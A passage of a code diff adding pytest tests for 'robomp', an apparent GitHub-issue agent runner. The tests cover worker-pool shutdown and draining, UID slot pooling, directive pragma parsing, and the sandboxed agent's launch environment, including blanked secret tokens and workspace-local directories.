github=_StubGitHub(), # type: ignore[arg-type]
|
||||
sandbox=_StubSandbox(), # type: ignore[arg-type]
|
||||
git_transport=_StubGitTransport(), # type: ignore[arg-type]
|
||||
slot_pool=SlotPool([2001, 2002]),
|
||||
)
|
||||
|
||||
await pool.start()
|
||||
try:
|
||||
assert sorted(calls) == [2001, 2002]
|
||||
finally:
|
||||
await pool.stop(drain_timeout=0.01, kill_timeout=0.01)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_event_reaps_slot_before_release(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
slot_pool = SlotPool([2001])
|
||||
pool = WorkerPool(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=_StubGitHub(), # type: ignore[arg-type]
|
||||
sandbox=_StubSandbox(), # type: ignore[arg-type]
|
||||
git_transport=_StubGitTransport(), # type: ignore[arg-type]
|
||||
slot_pool=slot_pool,
|
||||
)
|
||||
db.record_event(
|
||||
delivery_id="d-slot",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
order: list[tuple[str, int | None]] = []
|
||||
monkeypatch.setattr("robomp.queue._reap_slot", lambda uid: order.append(("reap", uid)))
|
||||
release = slot_pool.release
|
||||
|
||||
def record_release(slot_uid: int | None) -> None:
|
||||
order.append(("release", slot_uid))
|
||||
release(slot_uid)
|
||||
|
||||
monkeypatch.setattr(slot_pool, "release", record_release)
|
||||
|
||||
async def fake_dispatch(self: WorkerPool, r: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
assert r.delivery_id == "d-slot"
|
||||
assert slot_uid == 2001
|
||||
|
||||
monkeypatch.setattr(WorkerPool, "_dispatch", fake_dispatch)
|
||||
|
||||
await pool._run_event(_row("d-slot")) # noqa: SLF001
|
||||
|
||||
stored = db.get_event("d-slot")
|
||||
assert stored is not None
|
||||
assert stored.state == "done"
|
||||
assert order == [("reap", 2001), ("release", 2001)]
|
||||
@@ -0,0 +1,281 @@
|
||||
"""Graceful shutdown drain + kill behavior on WorkerPool.
|
||||
|
||||
These tests poke `WorkerPool` directly: they don't spin up a dispatcher loop
|
||||
or omp subprocess. The contract under test is `stop()`'s drain-then-kill
|
||||
sequence and `_run_event`'s shutting-down branch that leaves the DB row in
|
||||
`running` so `reset_stuck_running()` can requeue it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from contextlib import suppress
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp.config import Settings
|
||||
from robomp.db import Database, EventRow
|
||||
from robomp.queue import WorkerPool
|
||||
from robomp.slot_pool import SlotPool
|
||||
|
||||
|
||||
class _StubGitHub:
|
||||
"""Sentinel; queue tests don't talk to GitHub."""
|
||||
|
||||
|
||||
class _StubSandbox:
|
||||
"""Sentinel; queue tests don't touch the workspace pool."""
|
||||
|
||||
natives_cache = None
|
||||
|
||||
|
||||
class _StubGitTransport:
|
||||
"""Sentinel; queue tests don't push."""
|
||||
|
||||
|
||||
def _make_pool(settings: Settings, db: Database) -> WorkerPool:
|
||||
return WorkerPool(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=_StubGitHub(), # type: ignore[arg-type]
|
||||
sandbox=_StubSandbox(), # type: ignore[arg-type]
|
||||
git_transport=_StubGitTransport(), # type: ignore[arg-type]
|
||||
slot_pool=SlotPool(),
|
||||
)
|
||||
|
||||
|
||||
def _row(delivery: str = "d1") -> EventRow:
|
||||
return EventRow(
|
||||
delivery_id=delivery,
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
received_at="2026-01-01T00:00:00Z",
|
||||
state="running",
|
||||
attempts=1,
|
||||
last_error=None,
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_non_root_fallback_semaphore_caps_dispatch_concurrency(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
settings.max_concurrency = 1
|
||||
monkeypatch.setattr("robomp.queue.os.geteuid", lambda: 501)
|
||||
|
||||
pool = WorkerPool(
|
||||
settings=settings,
|
||||
db=db,
|
||||
github=_StubGitHub(), # type: ignore[arg-type]
|
||||
sandbox=_StubSandbox(), # type: ignore[arg-type]
|
||||
git_transport=_StubGitTransport(), # type: ignore[arg-type]
|
||||
)
|
||||
|
||||
db.record_event(
|
||||
delivery_id="d-one",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
db.record_event(
|
||||
delivery_id="d-two",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#2",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
|
||||
dispatch_started = asyncio.Event()
|
||||
release_dispatch = asyncio.Event()
|
||||
started: list[str] = []
|
||||
|
||||
async def blocked_dispatch(self: WorkerPool, row: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
assert slot_uid is None
|
||||
started.append(row.delivery_id)
|
||||
dispatch_started.set()
|
||||
await release_dispatch.wait()
|
||||
|
||||
monkeypatch.setattr(WorkerPool, "_dispatch", blocked_dispatch)
|
||||
|
||||
first = asyncio.create_task(pool._run_event(_row("d-one"))) # noqa: SLF001
|
||||
await asyncio.wait_for(dispatch_started.wait(), timeout=1.0)
|
||||
|
||||
second = asyncio.create_task(pool._run_event(_row("d-two"))) # noqa: SLF001
|
||||
await asyncio.sleep(0)
|
||||
assert started == ["d-one"]
|
||||
|
||||
release_dispatch.set()
|
||||
await asyncio.wait_for(asyncio.gather(first, second), timeout=1.0)
|
||||
assert started == ["d-one", "d-two"]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stop_drains_inflight_within_timeout(settings: Settings, db: Database) -> None:
|
||||
"""A short in-flight task finishes during the drain window; no kill hook needed."""
|
||||
pool = _make_pool(settings, db)
|
||||
|
||||
async def short_coro() -> None:
|
||||
await asyncio.sleep(0.05)
|
||||
|
||||
task = asyncio.create_task(short_coro())
|
||||
pool._inflight_tasks[task] = "d-short" # noqa: SLF001
|
||||
|
||||
await pool.stop(drain_timeout=1.0, kill_timeout=0.1)
|
||||
|
||||
assert pool._shutting_down is True # noqa: SLF001
|
||||
assert task.done()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stop_fires_kill_hook_when_drain_exceeds_timeout(settings: Settings, db: Database) -> None:
|
||||
"""When drain times out, stop() pops and runs the registered cancel hook.
|
||||
|
||||
The DB row stays `running` because `_run_event` (not exercised here) is
|
||||
the only path that mutates state, and even when triggered post-kill the
|
||||
shutting_down flag suppresses `mark_event(..., 'failed')`.
|
||||
"""
|
||||
pool = _make_pool(settings, db)
|
||||
db.record_event(
|
||||
delivery_id="d-blocked",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
|
||||
hook_called = asyncio.Event()
|
||||
pool._cancel_hooks["d-blocked"] = hook_called.set # noqa: SLF001
|
||||
|
||||
never = asyncio.Event()
|
||||
|
||||
async def _park() -> None:
|
||||
await never.wait()
|
||||
|
||||
blocked = asyncio.create_task(_park())
|
||||
pool._inflight_tasks[blocked] = "d-blocked" # noqa: SLF001
|
||||
|
||||
await pool.stop(drain_timeout=0.05, kill_timeout=0.05)
|
||||
|
||||
assert hook_called.is_set()
|
||||
stored = db.get_event("d-blocked")
|
||||
assert stored is not None
|
||||
assert stored.state == "running"
|
||||
|
||||
blocked.cancel()
|
||||
with suppress(asyncio.CancelledError):
|
||||
await blocked
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_event_skips_mark_event_when_shutting_down(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""During shutdown, a dispatch exception on a deliberately-cancelled delivery leaves the row untouched."""
|
||||
pool = _make_pool(settings, db)
|
||||
pool._shutting_down = True # noqa: SLF001
|
||||
pool._shutdown_cancelled.add("d-shutdown") # noqa: SLF001
|
||||
|
||||
db.record_event(
|
||||
delivery_id="d-shutdown",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
|
||||
async def fake_dispatch(self: WorkerPool, r: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
raise RuntimeError("omp died")
|
||||
|
||||
monkeypatch.setattr(WorkerPool, "_dispatch", fake_dispatch)
|
||||
await pool._run_event(_row("d-shutdown")) # noqa: SLF001
|
||||
|
||||
stored = db.get_event("d-shutdown")
|
||||
assert stored is not None
|
||||
assert stored.state == "running"
|
||||
assert stored.last_error is None
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_stop_cancels_hookless_inflight_task(settings: Settings, db: Database) -> None:
|
||||
"""A task claimed but stuck pre-hook MUST be cancelled by stop(), not allowed to spawn omp.
|
||||
|
||||
Reproduces the P1 finding: pre-fix, stop()'s kill phase iterated cancel
|
||||
hooks only, so an in-flight task without a hook (still waiting on the
|
||||
semaphore or inside RpcClient.__enter__) was left running and could
|
||||
proceed to spawn a fresh subprocess after stop() returned.
|
||||
"""
|
||||
pool = _make_pool(settings, db)
|
||||
|
||||
reached_spawn = False
|
||||
pre_hook_started = asyncio.Event()
|
||||
|
||||
async def stuck_pre_hook() -> None:
|
||||
nonlocal reached_spawn
|
||||
pre_hook_started.set()
|
||||
# Simulate waiting on a slow resource (semaphore / RpcClient.__enter__);
|
||||
# we never get a chance to register a cancel hook.
|
||||
try:
|
||||
await asyncio.sleep(5.0)
|
||||
except asyncio.CancelledError:
|
||||
raise
|
||||
# Pre-fix: this line was reachable after stop() returned.
|
||||
reached_spawn = True
|
||||
|
||||
task = asyncio.create_task(stuck_pre_hook())
|
||||
pool._inflight_tasks[task] = "d-hookless" # noqa: SLF001
|
||||
await asyncio.wait_for(pre_hook_started.wait(), timeout=1.0)
|
||||
|
||||
await pool.stop(drain_timeout=0.05, kill_timeout=0.2)
|
||||
|
||||
# Give the event loop a tick for cancellation to settle, then assert.
|
||||
await asyncio.sleep(0)
|
||||
assert task.done(), "stop() must terminate hookless in-flight tasks"
|
||||
assert task.cancelled(), "hookless task must be cancelled, not left running"
|
||||
assert reached_spawn is False, "task body must not progress past stop()"
|
||||
assert "d-hookless" in pool._shutdown_cancelled # noqa: SLF001
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_event_marks_failed_for_unrelated_failure_during_drain(
|
||||
settings: Settings, db: Database, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
"""A dispatch that fails for its own reasons during the drain window MUST still mark failed.
|
||||
|
||||
Reproduces the P2 finding: pre-fix, `_shutting_down=True` alone gated
|
||||
the suppression branch, so any exception raised during the drain
|
||||
window was masked and the row was silently requeued on the next
|
||||
start(). After the fix, only deliveries in `_shutdown_cancelled`
|
||||
(the ones stop() actually interrupted) get the suppression.
|
||||
"""
|
||||
pool = _make_pool(settings, db)
|
||||
pool._shutting_down = True # noqa: SLF001
|
||||
# Crucially: this delivery is NOT in `_shutdown_cancelled` — stop()
|
||||
# never targeted it. Its failure is its own.
|
||||
|
||||
db.record_event(
|
||||
delivery_id="d-real-fail",
|
||||
event_type="issues",
|
||||
repo="octo/widget",
|
||||
issue_key="octo/widget#1",
|
||||
payload={"action": "opened"},
|
||||
state="running",
|
||||
)
|
||||
|
||||
async def fake_dispatch(self: WorkerPool, r: EventRow, *, slot_uid: int | None = None) -> None:
|
||||
raise RuntimeError("genuine bug, not shutdown")
|
||||
|
||||
monkeypatch.setattr(WorkerPool, "_dispatch", fake_dispatch)
|
||||
await pool._run_event(_row("d-real-fail")) # noqa: SLF001
|
||||
|
||||
stored = db.get_event("d-real-fail")
|
||||
assert stored is not None
|
||||
assert stored.state == "failed", "non-shutdown failure during drain must mark failed"
|
||||
assert stored.last_error is not None
|
||||
assert "genuine bug, not shutdown" in stored.last_error
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,56 @@
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp.slot_pool import SlotPool
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_empty_pool_is_noop() -> None:
|
||||
pool = SlotPool()
|
||||
|
||||
assert await pool.acquire() is None
|
||||
pool.release(None)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_acquire_release_reuses_uid() -> None:
|
||||
pool = SlotPool([2001])
|
||||
|
||||
assert await pool.acquire() == 2001
|
||||
pool.release(2001)
|
||||
|
||||
assert await pool.acquire() == 2001
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_double_release_rejected() -> None:
|
||||
pool = SlotPool([2001])
|
||||
|
||||
slot_uid = await pool.acquire()
|
||||
pool.release(slot_uid)
|
||||
|
||||
with pytest.raises(ValueError, match="not acquired"):
|
||||
pool.release(slot_uid)
|
||||
|
||||
|
||||
def test_duplicate_slots_rejected() -> None:
|
||||
with pytest.raises(ValueError, match="unique"):
|
||||
SlotPool([2001, 2001])
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_concurrent_acquire_waits_until_release() -> None:
|
||||
pool = SlotPool([2001])
|
||||
|
||||
first_slot_uid = await pool.acquire()
|
||||
second_acquire = asyncio.create_task(pool.acquire())
|
||||
await asyncio.sleep(0)
|
||||
|
||||
assert not second_acquire.done()
|
||||
|
||||
pool.release(first_slot_uid)
|
||||
|
||||
assert await second_acquire == 2001
|
||||
@@ -0,0 +1,51 @@
|
||||
"""Verify pragmas survive the payload round-trip from server → durable queue → tasks."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from robomp.tasks import _directive_from_payload
|
||||
|
||||
|
||||
def test_directive_from_payload_parses_pragmas() -> None:
|
||||
directive = _directive_from_payload(
|
||||
{
|
||||
"_robomp_directive": {
|
||||
"body": "do the thing",
|
||||
"author": "can1357",
|
||||
"pragmas": [["model", "gpt"], ["thinking", "low"]],
|
||||
}
|
||||
}
|
||||
)
|
||||
assert directive is not None
|
||||
assert directive.body == "do the thing"
|
||||
assert directive.author == "can1357"
|
||||
assert directive.pragmas == (("model", "gpt"), ("thinking", "low"))
|
||||
|
||||
|
||||
def test_directive_from_payload_missing_pragmas_is_empty_tuple() -> None:
|
||||
directive = _directive_from_payload({"_robomp_directive": {"body": "x", "author": "can1357"}})
|
||||
assert directive is not None
|
||||
assert directive.pragmas == ()
|
||||
|
||||
|
||||
def test_directive_from_payload_drops_malformed_pragma_entries() -> None:
|
||||
directive = _directive_from_payload(
|
||||
{
|
||||
"_robomp_directive": {
|
||||
"body": "x",
|
||||
"author": "can1357",
|
||||
"pragmas": [
|
||||
["model", "gpt"],
|
||||
["bad"], # wrong arity
|
||||
[1, "v"], # non-string key
|
||||
"string-instead-of-pair",
|
||||
],
|
||||
}
|
||||
}
|
||||
)
|
||||
assert directive is not None
|
||||
assert directive.pragmas == (("model", "gpt"),)
|
||||
|
||||
|
||||
def test_directive_from_payload_returns_none_for_missing_directive() -> None:
|
||||
assert _directive_from_payload({}) is None
|
||||
assert _directive_from_payload({"_robomp_directive": "not-a-mapping"}) is None
|
||||
@@ -0,0 +1,770 @@
|
||||
"""Resume-aware behavior of `worker._run_rpc_blocking`.
|
||||
|
||||
These tests swap `robomp.worker.RpcClient` for a recording fake so we can
|
||||
observe the `extra_args` and `set_todos` decisions the driver takes based on
|
||||
whether the workspace's omp session directory already holds a JSONL transcript.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
import stat
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
|
||||
import pytest
|
||||
|
||||
from robomp import worker
|
||||
from robomp.config import Settings
|
||||
|
||||
|
||||
class _FakeRpcClient:
|
||||
instances: list[_FakeRpcClient] = []
|
||||
|
||||
def __init__(self, **kwargs):
|
||||
self.kwargs = kwargs
|
||||
self.set_todos_calls: list[list[dict]] = []
|
||||
self.get_todos_calls = 0
|
||||
self.stop_calls = 0
|
||||
self.mark_closed_calls: list[BaseException] = []
|
||||
_FakeRpcClient.instances.append(self)
|
||||
|
||||
def __enter__(self):
|
||||
return self
|
||||
|
||||
def __exit__(self, exc_type, exc, tb):
|
||||
return False
|
||||
|
||||
def install_headless_ui(self) -> None:
|
||||
pass
|
||||
|
||||
def on_tool_execution_end(self, _cb) -> None:
|
||||
pass
|
||||
|
||||
def on_message_update(self, _cb) -> None:
|
||||
pass
|
||||
|
||||
def stop(self) -> None:
|
||||
self.stop_calls += 1
|
||||
|
||||
def _mark_closed(self, error: BaseException) -> None:
|
||||
self.mark_closed_calls.append(error)
|
||||
|
||||
def set_todos(self, phases):
|
||||
self.set_todos_calls.append(phases)
|
||||
|
||||
def get_todos(self):
|
||||
self.get_todos_calls += 1
|
||||
return ()
|
||||
|
||||
def prompt_and_wait(self, prompt, timeout):
|
||||
if not hasattr(self, "prompts"):
|
||||
self.prompts: list[str] = []
|
||||
self.prompts.append(prompt)
|
||||
hook = getattr(self, "on_prompt", None)
|
||||
if hook is not None:
|
||||
hook(self, prompt)
|
||||
|
||||
class _Turn:
|
||||
messages: list = []
|
||||
events: list = []
|
||||
assistant_text: str = "ok"
|
||||
|
||||
return _Turn()
|
||||
|
||||
|
||||
_SEEDED_PHASES = [
|
||||
{
|
||||
"id": "p1",
|
||||
"name": "Reproduce",
|
||||
"tasks": [
|
||||
{
|
||||
"id": "t1",
|
||||
"content": "do it",
|
||||
"status": "pending",
|
||||
"notes": "",
|
||||
"details": "",
|
||||
}
|
||||
],
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
def _make_inputs(
|
||||
tmp_path: Path, settings: Settings, *, session_has_jsonl: bool, slot_uid: int | None = None
|
||||
) -> tuple[worker.TaskInputs, SimpleNamespace]:
|
||||
root = tmp_path / "workspace"
|
||||
root.mkdir()
|
||||
session_dir = root / "session"
|
||||
session_dir.mkdir()
|
||||
if session_has_jsonl:
|
||||
(session_dir / "foo.jsonl").write_text("{}\n", encoding="utf-8")
|
||||
repo_dir = root / "repo"
|
||||
repo_dir.mkdir()
|
||||
|
||||
workspace = SimpleNamespace(
|
||||
root=root,
|
||||
session_dir=session_dir,
|
||||
repo_dir=repo_dir,
|
||||
branch="robomp/issue-1",
|
||||
)
|
||||
repo = SimpleNamespace(full_name="acme/widgets", owner="acme", name="widgets")
|
||||
issue = SimpleNamespace(repo="acme/widgets", number=1, title="bug")
|
||||
|
||||
db = SimpleNamespace(set_event_model=lambda _did, _model: None, get_issue=lambda _key: None)
|
||||
github = SimpleNamespace()
|
||||
|
||||
inputs = worker.TaskInputs(
|
||||
settings=settings,
|
||||
db=db, # type: ignore[arg-type]
|
||||
github=github, # type: ignore[arg-type]
|
||||
git_transport=SimpleNamespace(), # type: ignore[arg-type]
|
||||
repo=repo, # type: ignore[arg-type]
|
||||
issue=issue, # type: ignore[arg-type]
|
||||
workspace=workspace, # type: ignore[arg-type]
|
||||
delivery_id="d-test",
|
||||
attempts=0,
|
||||
slot_uid=slot_uid,
|
||||
)
|
||||
bindings = SimpleNamespace(
|
||||
workspace=workspace,
|
||||
repo=repo,
|
||||
issue=issue,
|
||||
issue_key=f"{repo.full_name}#{issue.number}",
|
||||
abort=None,
|
||||
)
|
||||
return inputs, bindings
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _reset_fake() -> None:
|
||||
_FakeRpcClient.instances.clear()
|
||||
|
||||
|
||||
@pytest.fixture(autouse=True)
|
||||
def _patch_worker(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None:
|
||||
monkeypatch.setattr("robomp.worker.RpcClient", _FakeRpcClient)
|
||||
monkeypatch.setattr("robomp.worker._AGENT_HOME_STAGE", tmp_path / "missing-agent-home-stage")
|
||||
monkeypatch.setattr("robomp.worker.host_tools.build", lambda _b: ())
|
||||
monkeypatch.setattr(
|
||||
"robomp.worker.persona.system_append",
|
||||
lambda *, repo, issue, workspace: "SYS",
|
||||
)
|
||||
monkeypatch.setattr(
|
||||
"robomp.worker.persona.seed_phases",
|
||||
lambda _kind: [dict(p) for p in _SEEDED_PHASES],
|
||||
)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_passes_continue_when_session_jsonl_present(tmp_path: Path, settings: Settings) -> None:
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=True)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
assert _FakeRpcClient.instances[0].kwargs["extra_args"] == ("--continue",)
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_omits_continue_when_session_empty(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
agent_home = tmp_path / "agent-home"
|
||||
agent_home.mkdir()
|
||||
monkeypatch.setattr(worker, "_AGENT_HOME", agent_home)
|
||||
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
assert _FakeRpcClient.instances[0].kwargs["extra_args"] == ()
|
||||
client_kwargs = _FakeRpcClient.instances[0].kwargs
|
||||
assert client_kwargs["env"]["HOME"] == str(agent_home)
|
||||
assert client_kwargs["env"]["GITHUB_TOKEN"] == ""
|
||||
assert client_kwargs["env"]["GITHUB_WEBHOOK_SECRET"] == ""
|
||||
assert client_kwargs["env"]["ROBOMP_REPLAY_TOKEN"] == ""
|
||||
assert client_kwargs["env"]["ROBOMP_GH_PROXY_HMAC_KEY"] == ""
|
||||
assert client_kwargs["user"] is None
|
||||
assert client_kwargs["group"] is None
|
||||
assert client_kwargs["extra_groups"] is None
|
||||
|
||||
|
||||
def test_build_extra_env_stages_agent_home(tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch) -> None:
|
||||
stage_home = tmp_path / "agent-home-stage"
|
||||
agent_home = tmp_path / "agent-home"
|
||||
monkeypatch.setattr(worker, "_AGENT_HOME_STAGE", stage_home)
|
||||
monkeypatch.setattr(worker, "_AGENT_HOME", agent_home)
|
||||
|
||||
agent_dir = stage_home / ".agent"
|
||||
agent_rules_dir = agent_dir / "rules"
|
||||
omp_agent_dir = stage_home / ".omp" / "agent"
|
||||
agent_rules_dir.mkdir(parents=True)
|
||||
omp_agent_dir.mkdir(parents=True)
|
||||
(agent_dir / "AGENTS.md").write_text("agent instructions\n", encoding="utf-8")
|
||||
(agent_rules_dir / "rule.md").write_text("rule\n", encoding="utf-8")
|
||||
(omp_agent_dir / "models.yml").write_text("models: []\n", encoding="utf-8")
|
||||
|
||||
env = worker._build_extra_env(settings)
|
||||
|
||||
assert env["HOME"] == str(agent_home)
|
||||
assert (agent_home / ".agent" / "AGENTS.md").is_file()
|
||||
assert (agent_home / ".agent" / "rules" / "rule.md").is_file()
|
||||
assert (agent_home / ".omp" / "agent" / "models.yml").is_file()
|
||||
assert (agent_home / ".agent").stat().st_mode & 0o777 == 0o755
|
||||
assert (agent_home / ".agent" / "AGENTS.md").stat().st_mode & 0o777 == 0o644
|
||||
assert (agent_home / ".agent" / "rules").stat().st_mode & 0o777 == 0o755
|
||||
assert (agent_home / ".agent" / "rules" / "rule.md").stat().st_mode & 0o777 == 0o644
|
||||
assert (agent_home / ".omp" / "agent").stat().st_mode & 0o777 == 0o755
|
||||
assert (agent_home / ".omp" / "agent" / "models.yml").stat().st_mode & 0o777 == 0o644
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_omits_home_when_agent_home_absent(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
monkeypatch.setattr(worker, "_AGENT_HOME", tmp_path / "missing-agent-home")
|
||||
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
client_kwargs = _FakeRpcClient.instances[0].kwargs
|
||||
assert "HOME" not in client_kwargs["env"]
|
||||
assert client_kwargs["env"]["GITHUB_TOKEN"] == ""
|
||||
assert client_kwargs["env"]["GITHUB_WEBHOOK_SECRET"] == ""
|
||||
assert client_kwargs["env"]["ROBOMP_REPLAY_TOKEN"] == ""
|
||||
assert client_kwargs["env"]["ROBOMP_GH_PROXY_HMAC_KEY"] == ""
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_uses_workspace_xdg_dirs_without_slot(tmp_path: Path, settings: Settings) -> None:
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False, slot_uid=None)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
env = _FakeRpcClient.instances[0].kwargs["env"]
|
||||
xdg_root = inputs.workspace.root / ".omp-xdg"
|
||||
for key in ("XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_CACHE_HOME"):
|
||||
path = Path(env[key])
|
||||
assert path.is_relative_to(xdg_root)
|
||||
assert (path / "omp").is_dir()
|
||||
tmpdir = inputs.workspace.root / ".omp-tmp"
|
||||
assert env["TMPDIR"] == str(tmpdir)
|
||||
assert env["TMP"] == str(tmpdir)
|
||||
assert env["TEMP"] == str(tmpdir)
|
||||
assert env["GIT_CONFIG_COUNT"] == "1"
|
||||
assert env["GIT_CONFIG_KEY_0"] == "safe.directory"
|
||||
assert env["GIT_CONFIG_VALUE_0"] == str(inputs.workspace.repo_dir)
|
||||
assert env["GIT_AUTHOR_NAME"] == settings.resolved_author_name
|
||||
assert env["GIT_AUTHOR_EMAIL"] == settings.git_author_email
|
||||
assert env["GIT_COMMITTER_NAME"] == settings.resolved_author_name
|
||||
assert env["GIT_COMMITTER_EMAIL"] == settings.git_author_email
|
||||
assert tmpdir.is_dir()
|
||||
assert stat.S_IMODE(tmpdir.stat().st_mode) == 0o700
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_uses_workspace_xdg_dirs_for_slot_without_chown(
|
||||
tmp_path: Path, settings: Settings, monkeypatch: pytest.MonkeyPatch
|
||||
) -> None:
|
||||
chown_calls: list[tuple[Path, int, int]] = []
|
||||
monkeypatch.setattr("robomp.sandbox.platform.system", lambda: "Linux")
|
||||
monkeypatch.setattr("robomp.sandbox.os.geteuid", lambda: 0)
|
||||
monkeypatch.setattr("robomp.sandbox.os.chown", lambda path, uid, gid: chown_calls.append((Path(path), uid, gid)))
|
||||
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False, slot_uid=2001)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
|
||||
env = _FakeRpcClient.instances[0].kwargs["env"]
|
||||
for key in ("XDG_DATA_HOME", "XDG_STATE_HOME", "XDG_CACHE_HOME"):
|
||||
base = Path(env[key])
|
||||
assert base.is_dir()
|
||||
assert (base / "omp").is_dir()
|
||||
assert Path(env["BUN_INSTALL_CACHE_DIR"]).is_dir()
|
||||
assert chown_calls == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_skips_set_todos_on_resumed_triage(tmp_path: Path, settings: Settings) -> None:
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=True)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
bindings=bindings, # type: ignore[arg-type]
|
||||
)
|
||||
finally:
|
||||
loop.close()
|
||||
assert _FakeRpcClient.instances[0].set_todos_calls == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_run_rpc_seeds_todos_on_fresh_triage(tmp_path: Path, settings: Settings) -> None:
|
||||
inputs, bindings = _make_inputs(tmp_path, settings, session_has_jsonl=False)
|
||||
loop = asyncio.new_event_loop()
|
||||
try:
|
||||
worker._run_rpc_blocking(
|
||||
inputs,
|
||||
task_kind="triage_issue",
|
||||
prompt="x",
|
||||
loop=loop,
|
||||
